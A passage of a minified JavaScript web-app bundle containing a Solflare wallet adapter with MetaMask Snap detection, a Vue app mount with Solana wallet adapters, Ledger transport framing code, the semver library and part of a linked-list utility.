wn(this,Tr,"f").standardSignTransaction(...t)}),Dy.set(this,async(...t)=>{if(!wn(this,Tr,"f"))throw new In;return await wn(this,Tr,"f").standardSignMessage(...t)})}get version(){return wn(this,Yy,"f")}get name(){return wn(this,By,"f")}get icon(){return wn(this,Jy,"f")}get chains(){return[gbe,ybe,bbe]}get features(){return{[HK]:{version:"1.0.0",connect:wn(this,Uy,"f")},[PK]:{version:"1.0.0",disconnect:wn(this,Fy,"f")},[DK]:{version:"1.0.0",on:wn(this,Vy,"f")},[UA]:{version:"1.0.0",supportedTransactionVersions:["legacy",0],signAndSendTransaction:wn(this,Hy,"f")},[HA]:{version:"1.0.0",supportedTransactionVersions:["legacy",0],signTransaction:wn(this,Py,"f")},[FA]:{version:"1.0.0",signMessage:wn(this,Dy,"f")}}}get accounts(){return wn(this,Tr,"f")?wn(this,Tr,"f").standardAccounts:[]}}al=new WeakMap,Yy=new WeakMap,By=new WeakMap,Jy=new WeakMap,Tr=new WeakMap,Vy=new WeakMap,Uy=new WeakMap,Fy=new WeakMap,Hy=new WeakMap,Py=new WeakMap,Dy=new WeakMap,Xh=new WeakSet,iO=function(t,...n){var r;(r=wn(this,al,"f")[t])==null||r.forEach(o=>o.apply(null,n))},sO=function(t,n){var r;wn(this,al,"f")[t]=(r=wn(this,al,"f")[t])==null?void 0:r.filter(o=>n!==o)};let U7=!1;function Sbe(){U7||(mbe(new wbe),U7=!0)}async function Ebe(){const e="solflare-detect-metamask";function t(){window.postMessage({target:"metamask-contentscript",data:{name:"metamask-provider",data:{id:e,jsonrpc:"2.0",method:"wallet_getSnaps"}}},window.location.origin)}function n(r){var i,s;const o=r.data;(o==null?void 0:o.target)==="metamask-inpage"&&((i=o.data)==null?void 0:i.name)==="metamask-provider"&&(((s=o.data.data)==null?void 0:s.id)===e?(window.removeEventListener("message",n),o.data.data.error||Sbe()):t())}window.addEventListener("message",n),window.setTimeout(()=>window.removeEventListener("message",n),5e3),t()}const Abe="Solflare";class Mbe extends Xd{constructor(t={}){super(),this.name=Abe,this.url="https://solflare.com",this.icon="data:image/svg+xml;base64,PHN2ZyBmaWxsPSJub25lIiBoZWlnaHQ9IjUwIiB2aWV3Qm94PSIwIDAgNTAgNTAiIHdpZHRoPSI1MCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayI+PGxpbmVhckdyYWRpZW50IGlkPSJhIj48c3RvcCBvZmZzZXQ9IjAiIHN0b3AtY29sb3I9IiNmZmMxMGIiLz48c3RvcCBvZmZzZXQ9IjEiIHN0b3AtY29sb3I9IiNmYjNmMmUiLz48L2xpbmVhckdyYWRpZW50PjxsaW5lYXJHcmFkaWVudCBpZD0iYiIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIHgxPSI2LjQ3ODM1IiB4Mj0iMzQuOTEwNyIgeGxpbms6aHJlZj0iI2EiIHkxPSI3LjkyIiB5Mj0iMzMuNjU5MyIvPjxyYWRpYWxHcmFkaWVudCBpZD0iYyIgY3g9IjAiIGN5PSIwIiBncmFkaWVudFRyYW5zZm9ybT0ibWF0cml4KDQuOTkyMTg4MzIgMTIuMDYzODc5NjMgLTEyLjE4MTEzNjU1IDUuMDQwNzEwNzQgMjIuNTIwMiAyMC42MTgzKSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIHI9IjEiIHhsaW5rOmhyZWY9IiNhIi8+PHBhdGggZD0ibTI1LjE3MDggNDcuOTEwNGMuNTI1IDAgLjk1MDcuNDIxLjk1MDcuOTQwM3MtLjQyNTcuOTQwMi0uOTUwNy45NDAyLS45NTA3LS40MjA5LS45NTA3LS45NDAyLjQyNTctLjk0MDMuOTUwNy0uOTQwM3ptLTEuMDMyOC00NC45MTU2NWMuNDY0Ni4wMzgzNi44Mzk4LjM5MDQuOTAyNy44NDY4MWwxLjEzMDcgOC4yMTU3NGMuMzc5OCAyLjcxNDMgMy42NTM1IDMuODkwNCA1LjY3NDMgMi4wNDU5bDExLjMyOTEtMTAuMzExNThjLjI3MzMtLjI0ODczLjY5ODktLjIzMTQ5Ljk1MDcuMDM4NTEuMjMwOS4yNDc3Mi4yMzc5LjYyNjk3LjAxNjEuODgyNzdsLTkuODc5MSAxMS4zOTU4Yy0xLjgxODcgMi4wOTQyLS40NzY4IDUuMzY0MyAyLjI5NTYgNS41OTc4bDguNzE2OC44NDAzYy40MzQxLjA0MTguNzUxNy40MjM0LjcwOTMuODUyNC0uMDM0OS4zNTM3LS4zMDc0LjYzOTUtLjY2MjguNjk0OWwtOS4xNTk0IDEuNDMwMmMtMi42NTkzLjM2MjUtMy44NjM2IDMuNTExNy0yLjEzMzkgNS41NTc2bDMuMjIgMy43OTYxYy4yNTk0LjMwNTguMjE4OC43NjE1LS4wOTA4IDEuMDE3OC0uMjYyMi4yMTcyLS42NDE5LjIyNTYtLjkxMzguMDIwM2wtMy45Njk0LTIuOTk3OGMtMi4xNDIxLTEuNjEwOS01LjIyOTctLjI0MTctNS40NTYxIDIuNDI0M2wtLjg3NDcgMTAuMzk3NmMtLjAzNjIuNDI5NS0uNDE3OC43NDg3LS44NTI1LjcxMy0uMzY5LS4wMzAzLS42NjcxLS4zMDk3LS43MTcxLS42NzIxbC0xLjM4NzEtMTAuMDQzN2MtLjM3MTctMi43MTQ0LTMuNjQ1NC0zLjg5MDQtNS42NzQzLTIuMDQ1OWwtMTIuMDUxOTUgMTAuOTc0Yy0uMjQ5NDcuMjI3MS0uNjM4MDkuMjExNC0uODY4LS4wMzUtLjIxMDk0LS4yMjYyLS4yMTczNS0uNTcyNC0uMDE0OTMtLjgwNmwxMC41MTgxOC0xMi4xMzg1YzEuODE4Ny0yLjA5NDIuNDg0OS01LjM2NDQtMi4yODc2LTUuNTk3OGwtOC43MTg3Mi0uODQwNWMtLjQzNDEzLS4wNDE4LS43NTE3Mi0uNDIzNS0uNzA5MzYtLjg1MjQuMDM0OTMtLjM1MzcuMzA3MzktLjYzOTQuNjYyNy0uNjk1bDkuMTUzMzgtMS40Mjk5YzIuNjU5NC0uMzYyNSAzLjg3MTgtMy41MTE3IDIuMTQyMS01LjU1NzZsLTIuMTkyLTIuNTg0MWMtLjMyMTctLjM3OTItLjI3MTMtLjk0NDMuMTEyNi0xLjI2MjEuMzI1My0uMjY5NC43OTYzLS4yNzk3IDEuMTMzNC0uMDI0OWwyLjY5MTggMi4wMzQ3YzIuMTQyMSAxLjYxMDkgNS4yMjk3LjI0MTcgNS40NTYxLTIuNDI0M2wuNzI0MS04LjU1OTk4Yy4wNDU3LS41NDA4LjUyNjUtLjk0MjU3IDEuMDczOS0uODk3Mzd6bS0yMy4xODczMyAyMC40Mzk2NWMuNTI1MDQgMCAuOTUwNjcuNDIxLjk1MDY3Ljk0MDNzLS40MjU2My45NDAzLS45NTA2Ny45NDAzYy0uNTI1MDQxIDAtLjk1MDY3LS40MjEtLjk1MDY3LS45NDAzcy40MjU2MjktLjk0MDMuOTUwNjctLjk0MDN6bTQ3LjY3OTczLS45NTQ3Yy41MjUgMCAuOTUwNy40MjEuOTUwNy45NDAzcy0uNDI1Ny45NDAyLS45NTA3Ljk0MDItLjk1MDctLjQyMDktLjk1MDctLjk0MDIuNDI1Ny0uOTQwMy45NTA3LS45NDAzem0tMjQuNjI5Ni0yMi40Nzk3Yy41MjUgMCAuOTUwNi40MjA5NzMuOTUwNi45NDAyNyAwIC41MTkzLS40MjU2Ljk0MDI3LS45NTA2Ljk0MDI3LS41MjUxIDAtLjk1MDctLjQyMDk3LS45NTA3LS45NDAyNyAwLS41MTkyOTcuNDI1Ni0uOTQwMjcuOTUwNy0uOTQwMjd6IiBmaWxsPSJ1cmwoI2IpIi8+PHBhdGggZD0ibTI0LjU3MSAzMi43NzkyYzQuOTU5NiAwIDguOTgwMi0zLjk3NjUgOC45ODAyLTguODgxOSAwLTQuOTA1My00LjAyMDYtOC44ODE5LTguOTgwMi04Ljg4MTlzLTguOTgwMiAzLjk3NjYtOC45ODAyIDguODgxOWMwIDQuOTA1NCA0LjAyMDYgOC44ODE5IDguOTgwMiA4Ljg4MTl6IiBmaWxsPSJ1cmwoI2MpIi8+PC9zdmc+",this.supportedTransactionVersions=new Set(["legacy",0]),this._readyState=typeof window>"u"||typeof document>"u"?Wt.Unsupported:Wt.Loadable,this._disconnected=()=>{const n=this._wallet;n&&(n.off("disconnect",this._disconnected),this._wallet=null,this._publicKey=null,this.emit("error",new dc),this.emit("disconnect"))},this._accountChanged=n=>{if(!n)return;const r=this._publicKey;if(r){try{n=new ht(n.toBytes())}catch(o){this.emit("error",new Ni(o==null?void 0:o.message,o));return}r.equals(n)||(this._publicKey=n,this.emit("connect",n))}},this._connecting=!1,this._publicKey=null,this._wallet=null,this._config=t,this._readyState!==Wt.Unsupported&&(am(()=>{var n;return(n=window.solflare)!=null&&n.isSolflare||window.SolflareApp?(this._readyState=Wt.Installed,this.emit("readyStateChange",this._readyState),!0):!1}),Ebe())}get publicKey(){return this._publicKey}get connecting(){return this._connecting}get connected(){var t;return!!((t=this._wallet)!=null&&t.connected)}get readyState(){return this._readyState}async autoConnect(){this.readyState===Wt.Loadable&&ng()||await this.connect()}async connect(){try{if(this.connected||this.connecting)return;if(this._readyState!==Wt.Loadable&&this._readyState!==Wt.Installed)throw new Ti;if(this.readyState===Wt.Loadable&&ng()){const o=encodeURIComponent(window.location.href),i=encodeURIComponent(window.location.origin);window.location.href=`https://solflare.com/ul/v1/browse/${o}?ref=${i}`;return}let t;try{t=(await PI(()=>Promise.resolve().then(()=>Rwe),void 0,import.meta.url)).default}catch(o){throw new BA(o==null?void 0:o.message,o)}let n;try{n=new t({network:this._config.network})}catch(o){throw new Qc(o==null?void 0:o.message,o)}if(this._connecting=!0,!n.connected)try{await n.connect()}catch(o){throw new gs(o==null?void 0:o.message,o)}if(!n.publicKey)throw new gs;let r;try{r=new ht(n.publicKey.toBytes())}catch(o){throw new Ni(o==null?void 0:o.message,o)}n.on("disconnect",this._disconnected),n.on("accountChanged",this._accountChanged),this._wallet=n,this._publicKey=r,this.emit("connect",r)}catch(t){throw this.emit("error",t),t}finally{this._connecting=!1}}async disconnect(){const t=this._wallet;if(t){t.off("disconnect",this._disconnected),t.off("accountChanged",this._accountChanged),this._wallet=null,this._publicKey=null;try{await t.disconnect()}catch(n){this.emit("error",new Il(n==null?void 0:n.message,n))}}this.emit("disconnect")}async sendTransaction(t,n,r={}){try{const o=this._wallet;if(!o)throw new In;try{const{signers:i,...s}=r;return Id(t)?i!=null&&i.length&&t.sign(i):(t=await this.prepareTransaction(t,n,s),i!=null&&i.length&&t.partialSign(...i)),s.preflightCommitment=s.preflightCommitment||n.commitment,await o.signAndSendTransaction(t,s)}catch(i){throw i instanceof ar?i:new zi(i==null?void 0:i.message,i)}}catch(o){throw this.emit("error",o),o}}async signTransaction(t){try{const n=this._wallet;if(!n)throw new In;try{return await n.signTransaction(t)||t}catch(r){throw new cr(r==null?void 0:r.message,r)}}catch(n){throw this.emit("error",n),n}}async signAllTransactions(t){try{const n=this._wallet;if(!n)throw new In;try{return await n.signAllTransactions(t)||t}catch(r){throw new cr(r==null?void 0:r.message,r)}}catch(n){throw this.emit("error",n),n}}async signMessage(t){try{const n=this._wallet;if(!n)throw new In;try{return await n.signMessage(t,"utf8")}catch(r){throw new ql(r==null?void 0:r.message,r)}}catch(n){throw this.emit("error",n),n}}}const Cbe={wallets:[new cbe,new fbe,new lbe,new T0e,new Mbe],autoConnect:!0},kbe=SW();YA(L0e).use(wW,Cbe).use(kbe).use(l0e).mount("#app");var aO={};const xbe=sm(Uye);(function(e){e.__esModule=!0;var t=xbe,n=5;function r(s){var a=sn.alloc(2);return a.writeUInt16BE(s,0),a}var o={data:sn.alloc(0),dataLength:0,sequence:0},i=function(s,a){return{makeBlocks:function(l){var u=sn.concat([r(l.length),l]),c=a-5,f=Math.ceil(u.length/c);u=sn.concat([u,sn.alloc(f*c-u.length+1).fill(0)]);for(var p=[],m=0;m<f;m++){var g=sn.alloc(5);g.writeUInt16BE(s,0),g.writeUInt8(n,2),g.writeUInt16BE(m,3);var v=u.slice(m*c,(m+1)*c);p.push(sn.concat([g,v]))}return p},reduceResponse:function(l,u){var c=l||o,f=c.data,p=c.dataLength,m=c.sequence;if(u.readUInt16BE(0)!==s)throw new t.TransportError("Invalid channel","InvalidChannel");if(u.readUInt8(2)!==n)throw new t.TransportError("Invalid tag","InvalidTag");if(u.readUInt16BE(3)!==m)throw new t.TransportError("Invalid sequence","InvalidSequence");l||(p=u.readUInt16BE(5)),m++;var g=u.slice(l?5:7);return f=sn.concat([f,g]),f.length>p&&(f=f.slice(0,p)),{data:f,dataLength:p,sequence:m}},getReducedResult:function(l){if(l&&l.dataLength===l.data.length)return l.data}}};e.default=i})(aO);const Obe=_n(aO);var Xy={exports:{}};const zbe="2.0.0",lO=256,Kbe=Number.MAX_SAFE_INTEGER||9007199254740991,Rbe=16,Lbe=lO-6,Zbe=["major","premajor","minor","preminor","patch","prepatch","prerelease"];var $m={MAX_LENGTH:lO,MAX_SAFE_COMPONENT_LENGTH:Rbe,MAX_SAFE_BUILD_LENGTH:Lbe,MAX_SAFE_INTEGER:Kbe,RELEASE_TYPES:Zbe,SEMVER_SPEC_VERSION:zbe,FLAG_INCLUDE_PRERELEASE:1,FLAG_LOOSE:2},k0={};const Tbe=typeof XW=="object"&&k0&&k0.NODE_DEBUG&&/\bsemver\b/i.test(k0.NODE_DEBUG)?(...e)=>console.error("SEMVER",...e):()=>{};var ev=Tbe;(function(e,t){const{MAX_SAFE_COMPONENT_LENGTH:n,MAX_SAFE_BUILD_LENGTH:r,MAX_LENGTH:o}=$m,i=ev;t=e.exports={};const s=t.re=[],a=t.safeRe=[],l=t.src=[],u=t.t={};let c=0;const f="[a-zA-Z0-9-]",p=[["\\s",1],["\\d",o],[f,r]],m=v=>{for(const[I,q]of p)v=v.split(`${I}*`).join(`${I}{0,${q}}`).split(`${I}+`).join(`${I}{1,${q}}`);return v},g=(v,I,q)=>{const M=m(I),E=c++;i(v,E,I),u[v]=E,l[E]=I,s[E]=new RegExp(I,q?"g":void 0),a[E]=new RegExp(M,q?"g":void 0)};g("NUMERICIDENTIFIER","0|[1-9]\\d*"),g("NUMERICIDENTIFIERLOOSE","\\d+"),g("NONNUMERICIDENTIFIER",`\\d*[a-zA-Z-]${f}*`),g("MAINVERSION",`(${l[u.NUMERICIDENTIFIER]})\\.(${l[u.NUMERICIDENTIFIER]})\\.(${l[u.NUMERICIDENTIFIER]})`),g("MAINVERSIONLOOSE",`(${l[u.NUMERICIDENTIFIERLOOSE]})\\.(${l[u.NUMERICIDENTIFIERLOOSE]})\\.(${l[u.NUMERICIDENTIFIERLOOSE]})`),g("PRERELEASEIDENTIFIER",`(?:${l[u.NUMERICIDENTIFIER]}|${l[u.NONNUMERICIDENTIFIER]})`),g("PRERELEASEIDENTIFIERLOOSE",`(?:${l[u.NUMERICIDENTIFIERLOOSE]}|${l[u.NONNUMERICIDENTIFIER]})`),g("PRERELEASE",`(?:-(${l[u.PRERELEASEIDENTIFIER]}(?:\\.${l[u.PRERELEASEIDENTIFIER]})*))`),g("PRERELEASELOOSE",`(?:-?(${l[u.PRERELEASEIDENTIFIERLOOSE]}(?:\\.${l[u.PRERELEASEIDENTIFIERLOOSE]})*))`),g("BUILDIDENTIFIER",`${f}+`),g("BUILD",`(?:\\+(${l[u.BUILDIDENTIFIER]}(?:\\.${l[u.BUILDIDENTIFIER]})*))`),g("FULLPLAIN",`v?${l[u.MAINVERSION]}${l[u.PRERELEASE]}?${l[u.BUILD]}?`),g("FULL",`^${l[u.FULLPLAIN]}$`),g("LOOSEPLAIN",`[v=\\s]*${l[u.MAINVERSIONLOOSE]}${l[u.PRERELEASELOOSE]}?${l[u.BUILD]}?`),g("LOOSE",`^${l[u.LOOSEPLAIN]}$`),g("GTLT","((?:<|>)?=?)"),g("XRANGEIDENTIFIERLOOSE",`${l[u.NUMERICIDENTIFIERLOOSE]}|x|X|\\*`),g("XRANGEIDENTIFIER",`${l[u.NUMERICIDENTIFIER]}|x|X|\\*`),g("XRANGEPLAIN",`[v=\\s]*(${l[u.XRANGEIDENTIFIER]})(?:\\.(${l[u.XRANGEIDENTIFIER]})(?:\\.(${l[u.XRANGEIDENTIFIER]})(?:${l[u.PRERELEASE]})?${l[u.BUILD]}?)?)?`),g("XRANGEPLAINLOOSE",`[v=\\s]*(${l[u.XRANGEIDENTIFIERLOOSE]})(?:\\.(${l[u.XRANGEIDENTIFIERLOOSE]})(?:\\.(${l[u.XRANGEIDENTIFIERLOOSE]})(?:${l[u.PRERELEASELOOSE]})?${l[u.BUILD]}?)?)?`),g("XRANGE",`^${l[u.GTLT]}\\s*${l[u.XRANGEPLAIN]}$`),g("XRANGELOOSE",`^${l[u.GTLT]}\\s*${l[u.XRANGEPLAINLOOSE]}$`),g("COERCEPLAIN",`(^|[^\\d])(\\d{1,${n}})(?:\\.(\\d{1,${n}}))?(?:\\.(\\d{1,${n}}))?`),g("COERCE",`${l[u.COERCEPLAIN]}(?:$|[^\\d])`),g("COERCEFULL",l[u.COERCEPLAIN]+`(?:${l[u.PRERELEASE]})?(?:${l[u.BUILD]})?(?:$|[^\\d])`),g("COERCERTL",l[u.COERCE],!0),g("COERCERTLFULL",l[u.COERCEFULL],!0),g("LONETILDE","(?:~>?)"),g("TILDETRIM",`(\\s*)${l[u.LONETILDE]}\\s+`,!0),t.tildeTrimReplace="$1~",g("TILDE",`^${l[u.LONETILDE]}${l[u.XRANGEPLAIN]}$`),g("TILDELOOSE",`^${l[u.LONETILDE]}${l[u.XRANGEPLAINLOOSE]}$`),g("LONECARET","(?:\\^)"),g("CARETTRIM",`(\\s*)${l[u.LONECARET]}\\s+`,!0),t.caretTrimReplace="$1^",g("CARET",`^${l[u.LONECARET]}${l[u.XRANGEPLAIN]}$`),g("CARETLOOSE",`^${l[u.LONECARET]}${l[u.XRANGEPLAINLOOSE]}$`),g("COMPARATORLOOSE",`^${l[u.GTLT]}\\s*(${l[u.LOOSEPLAIN]})$|^$`),g("COMPARATOR",`^${l[u.GTLT]}\\s*(${l[u.FULLPLAIN]})$|^$`),g("COMPARATORTRIM",`(\\s*)${l[u.GTLT]}\\s*(${l[u.LOOSEPLAIN]}|${l[u.XRANGEPLAIN]})`,!0),t.comparatorTrimReplace="$1$2$3",g("HYPHENRANGE",`^\\s*(${l[u.XRANGEPLAIN]})\\s+-\\s+(${l[u.XRANGEPLAIN]})\\s*$`),g("HYPHENRANGELOOSE",`^\\s*(${l[u.XRANGEPLAINLOOSE]})\\s+-\\s+(${l[u.XRANGEPLAINLOOSE]})\\s*$`),g("STAR","(<|>)?=?\\s*\\*"),g("GTE0","^\\s*>=\\s*0\\.0\\.0\\s*$"),g("GTE0PRE","^\\s*>=\\s*0\\.0\\.0-0\\s*$")})(Xy,Xy.exports);var bf=Xy.exports;const Nbe=Object.freeze({loose:!0}),jbe=Object.freeze({}),Wbe=e=>e?typeof e!="object"?Nbe:e:jbe;var QI=Wbe;const F7=/^[0-9]+$/,uO=(e,t)=>{const n=F7.test(e),r=F7.test(t);return n&&r&&(e=+e,t=+t),e===t?0:n&&!r?-1:r&&!n?1:e<t?-1:1},Gbe=(e,t)=>uO(t,e);var cO={compareIdentifiers:uO,rcompareIdentifiers:Gbe};const nh=ev,{MAX_LENGTH:H7,MAX_SAFE_INTEGER:rh}=$m,{safeRe:P7,t:D7}=bf,Ybe=QI,{compareIdentifiers:iu}=cO;let Bbe=class wi{constructor(t,n){if(n=Ybe(n),t instanceof wi){if(t.loose===!!n.loose&&t.includePrerelease===!!n.includePrerelease)return t;t=t.version}else if(typeof t!="string")throw new TypeError(`Invalid version. Must be a string. Got type "${typeof t}".`);if(t.length>H7)throw new TypeError(`version is longer than ${H7} characters`);nh("SemVer",t,n),this.options=n,this.loose=!!n.loose,this.includePrerelease=!!n.includePrerelease;const r=t.trim().match(n.loose?P7[D7.LOOSE]:P7[D7.FULL]);if(!r)throw new TypeError(`Invalid Version: ${t}`);if(this.raw=t,this.major=+r[1],this.minor=+r[2],this.patch=+r[3],this.major>rh||this.major<0)throw new TypeError("Invalid major version");if(this.minor>rh||this.minor<0)throw new TypeError("Invalid minor version");if(this.patch>rh||this.patch<0)throw new TypeError("Invalid patch version");r[4]?this.prerelease=r[4].split(".").map(o=>{if(/^[0-9]+$/.test(o)){const i=+o;if(i>=0&&i<rh)return i}return o}):this.prerelease=[],this.build=r[5]?r[5].split("."):[],this.format()}format(){return this.version=`${this.major}.${this.minor}.${this.patch}`,this.prerelease.length&&(this.version+=`-${this.prerelease.join(".")}`),this.version}toString(){return this.version}compare(t){if(nh("SemVer.compare",this.version,this.options,t),!(t instanceof wi)){if(typeof t=="string"&&t===this.version)return 0;t=new wi(t,this.options)}return t.version===this.version?0:this.compareMain(t)||this.comparePre(t)}compareMain(t){return t instanceof wi||(t=new wi(t,this.options)),iu(this.major,t.major)||iu(this.minor,t.minor)||iu(this.patch,t.patch)}comparePre(t){if(t instanceof wi||(t=new wi(t,this.options)),this.prerelease.length&&!t.prerelease.length)return-1;if(!this.prerelease.length&&t.prerelease.length)return 1;if(!this.prerelease.length&&!t.prerelease.length)return 0;let n=0;do{const r=this.prerelease[n],o=t.prerelease[n];if(nh("prerelease compare",n,r,o),r===void 0&&o===void 0)return 0;if(o===void 0)return 1;if(r===void 0)return-1;if(r===o)continue;return iu(r,o)}while(++n)}compareBuild(t){t instanceof wi||(t=new wi(t,this.options));let n=0;do{const r=this.build[n],o=t.build[n];if(nh("prerelease compare",n,r,o),r===void 0&&o===void 0)return 0;if(o===void 0)return 1;if(r===void 0)return-1;if(r===o)continue;return iu(r,o)}while(++n)}inc(t,n,r){switch(t){case"premajor":this.prerelease.length=0,this.patch=0,this.minor=0,this.major++,this.inc("pre",n,r);break;case"preminor":this.prerelease.length=0,this.patch=0,this.minor++,this.inc("pre",n,r);break;case"prepatch":this.prerelease.length=0,this.inc("patch",n,r),this.inc("pre",n,r);break;case"prerelease":this.prerelease.length===0&&this.inc("patch",n,r),this.inc("pre",n,r);break;case"major":(this.minor!==0||this.patch!==0||this.prerelease.length===0)&&this.major++,this.minor=0,this.patch=0,this.prerelease=[];break;case"minor":(this.patch!==0||this.prerelease.length===0)&&this.minor++,this.patch=0,this.prerelease=[];break;case"patch":this.prerelease.length===0&&this.patch++,this.prerelease=[];break;case"pre":{const o=Number(r)?1:0;if(!n&&r===!1)throw new Error("invalid increment argument: identifier is empty");if(this.prerelease.length===0)this.prerelease=[o];else{let i=this.prerelease.length;for(;--i>=0;)typeof this.prerelease[i]=="number"&&(this.prerelease[i]++,i=-2);if(i===-1){if(n===this.prerelease.join(".")&&r===!1)throw new Error("invalid increment argument: identifier already exists");this.prerelease.push(o)}}if(n){let i=[n,o];r===!1&&(i=[n]),iu(this.prerelease[0],n)===0?isNaN(this.prerelease[1])&&(this.prerelease=i):this.prerelease=i}break}default:throw new Error(`invalid increment argument: ${t}`)}return this.raw=this.format(),this.build.length&&(this.raw+=`+${this.build.join(".")}`),this}};var to=Bbe;const X7=to,Jbe=(e,t,n=!1)=>{if(e instanceof X7)return e;try{return new X7(e,t)}catch(r){if(!n)return null;throw r}};var Ac=Jbe;const Vbe=Ac,Ube=(e,t)=>{const n=Vbe(e,t);return n?n.version:null};var Fbe=Ube;const Hbe=Ac,Pbe=(e,t)=>{const n=Hbe(e.trim().replace(/^[=v]+/,""),t);return n?n.version:null};var Dbe=Pbe;const Q7=to,Xbe=(e,t,n,r,o)=>{typeof n=="string"&&(o=r,r=n,n=void 0);try{return new Q7(e instanceof Q7?e.version:e,n).inc(t,r,o).version}catch{return null}};var Qbe=Xbe;const _7=Ac,_be=(e,t)=>{const n=_7(e,null,!0),r=_7(t,null,!0),o=n.compare(r);if(o===0)return null;const i=o>0,s=i?n:r,a=i?r:n,l=!!s.prerelease.length;if(!!a.prerelease.length&&!l)return!a.patch&&!a.minor?"major":s.patch?"patch":s.minor?"minor":"major";const c=l?"pre":"";return n.major!==r.major?c+"major":n.minor!==r.minor?c+"minor":n.patch!==r.patch?c+"patch":"prerelease"};var $be=_be;const e1e=to,t1e=(e,t)=>new e1e(e,t).major;var n1e=t1e;const r1e=to,o1e=(e,t)=>new r1e(e,t).minor;var i1e=o1e;const s1e=to,a1e=(e,t)=>new s1e(e,t).patch;var l1e=a1e;const u1e=Ac,c1e=(e,t)=>{const n=u1e(e,t);return n&&n.prerelease.length?n.prerelease:null};var d1e=c1e;const $7=to,f1e=(e,t,n)=>new $7(e,n).compare(new $7(t,n));var vi=f1e;const h1e=vi,p1e=(e,t,n)=>h1e(t,e,n);var m1e=p1e;const v1e=vi,g1e=(e,t)=>v1e(e,t,!0);var y1e=g1e;const eE=to,b1e=(e,t,n)=>{const r=new eE(e,n),o=new eE(t,n);return r.compare(o)||r.compareBuild(o)};var _I=b1e;const I1e=_I,q1e=(e,t)=>e.sort((n,r)=>I1e(n,r,t));var w1e=q1e;const S1e=_I,E1e=(e,t)=>e.sort((n,r)=>S1e(r,n,t));var A1e=E1e;const M1e=vi,C1e=(e,t,n)=>M1e(e,t,n)>0;var tv=C1e;const k1e=vi,x1e=(e,t,n)=>k1e(e,t,n)<0;var $I=x1e;const O1e=vi,z1e=(e,t,n)=>O1e(e,t,n)===0;var dO=z1e;const K1e=vi,R1e=(e,t,n)=>K1e(e,t,n)!==0;var fO=R1e;const L1e=vi,Z1e=(e,t,n)=>L1e(e,t,n)>=0;var eq=Z1e;const T1e=vi,N1e=(e,t,n)=>T1e(e,t,n)<=0;var tq=N1e;const j1e=dO,W1e=fO,G1e=tv,Y1e=eq,B1e=$I,J1e=tq,V1e=(e,t,n,r)=>{switch(t){case"===":return typeof e=="object"&&(e=e.version),typeof n=="object"&&(n=n.version),e===n;case"!==":return typeof e=="object"&&(e=e.version),typeof n=="object"&&(n=n.version),e!==n;case"":case"=":case"==":return j1e(e,n,r);case"!=":return W1e(e,n,r);case">":return G1e(e,n,r);case">=":return Y1e(e,n,r);case"<":return B1e(e,n,r);case"<=":return J1e(e,n,r);default:throw new TypeError(`Invalid operator: ${t}`)}};var hO=V1e;const U1e=to,F1e=Ac,{safeRe:oh,t:ih}=bf,H1e=(e,t)=>{if(e instanceof U1e)return e;if(typeof e=="number"&&(e=String(e)),typeof e!="string")return null;t=t||{};let n=null;if(!t.rtl)n=e.match(t.includePrerelease?oh[ih.COERCEFULL]:oh[ih.COERCE]);else{const l=t.includePrerelease?oh[ih.COERCERTLFULL]:oh[ih.COERCERTL];let u;for(;(u=l.exec(e))&&(!n||n.index+n[0].length!==e.length);)(!n||u.index+u[0].length!==n.index+n[0].length)&&(n=u),l.lastIndex=u.index+u[1].length+u[2].length;l.lastIndex=-1}if(n===null)return null;const r=n[2],o=n[3]||"0",i=n[4]||"0",s=t.includePrerelease&&n[5]?`-${n[5]}`:"",a=t.includePrerelease&&n[6]?`+${n[6]}`:"";return F1e(`${r}.${o}.${i}${s}${a}`,t)};var P1e=H1e,x0,tE;function D1e(){return tE||(tE=1,x0=function(e){e.prototype[Symbol.iterator]=function*(){for(let t=this.head;t;t=t.next)yield t.value}}),x0}var X1e=bn;bn.Node=Rl;bn.create=bn;function bn(e){var t=this;if(t instanceof bn||(t=new bn),t.tail=null,t.head=null,t.length=0,e&&typeof e.forEach=="function")e.forEach(function(o){t.push(o)});else if(arguments.length>0)for(var n=0,r=arguments.length;n<r;n++)t.push(arguments[n]);return t}bn.prototype.removeNode=function(e){if(e.list!==this)throw new Error("removing node which does not belong to this list");var t=e.next,n=e.prev;return t&&(t.prev=n),n&&(n.next=t),e===this.head&&(this.head=t),e===this.tail&&(this.tail=n),e.list.length--,e.next=null,e.prev=null,e.list=null,t};bn.prototype.unshiftNode=function(e){if(e!==this.head){e.list&&e.list.removeNode(e);var t=this.head;e.list=this,e.next=t,t&&(t.prev=e),this.head=e,this.tail||(this.tail=e),this.length++}};bn.prototype.pushNode=function(e){if(e!==this.tail){e.list&&e.list.removeNode(e);var t=this.tail;e.list=this,e.prev=t,t&&(t.next=e),this.tail=e,this.head||(this.head=e),this.length++}};bn.prototype.push=function(){for(var e=0,t=arguments.length;e<t;e++)_1e(this,arguments[e]);return this.length};bn.prototype.unshift=function(){for(var e=0,t=arguments.length;e<t;e++)$1e(this,arguments[e]);return this.length};bn.prototype.pop=function(){if(this.tail){var e=this.tail.value;return this.tail=this.tail.prev,this.tail?this.tail.next=null:this.head=null,this.length--,e}};bn.prototype.shift=function(){if(this.head){var e=this.head.value;return this.head=this.head.next,this.head?this.head.prev=null:this.tail=null,this.length--,e}};bn.prototype.forEach=function(e,t){t=t||this;for(var n=this.head,r=0;n!==null;r++)e.call(t,n.value,r,this),n=n.next};bn.prototype.forEachReverse=function(e,t){t=t||this;for(var n=this.tail,r=this.length-1;n!==null;r--)e.call(t,n.value,r,this),n=n.prev};bn.prototype.get=function(e){for(var t=0,n=this.head;n!==null&&t<e;t++)n=n.next;if(t===e&&n!==null)return n.value};bn.prototype.getReverse=function(e){for(var t=0,n=this.tail;n!==null&&t<e;t++)n=n.prev;if(t===e&&n!==null)return n.value};bn.prototype.map=function(e,t){t=t||this;for(var n=new bn,r=this.head;r!==null;)n.push(e.call(t,r.value,this)),r=r.next;return n};bn.prototype.mapReverse=function(e,t){t=t||this;for(var n=new bn,r=this.tail;r!==null;)n.push(e.call(t,r.value,this)),r=r.prev;return n};bn.prototype.reduce=function(e,t){var n,r=this.head;if(arguments.length>1)n=t;else if(this.head)r=this.head.next,n=this.head.value;else throw new TypeError("Reduce of empty list with no initial value");for(var 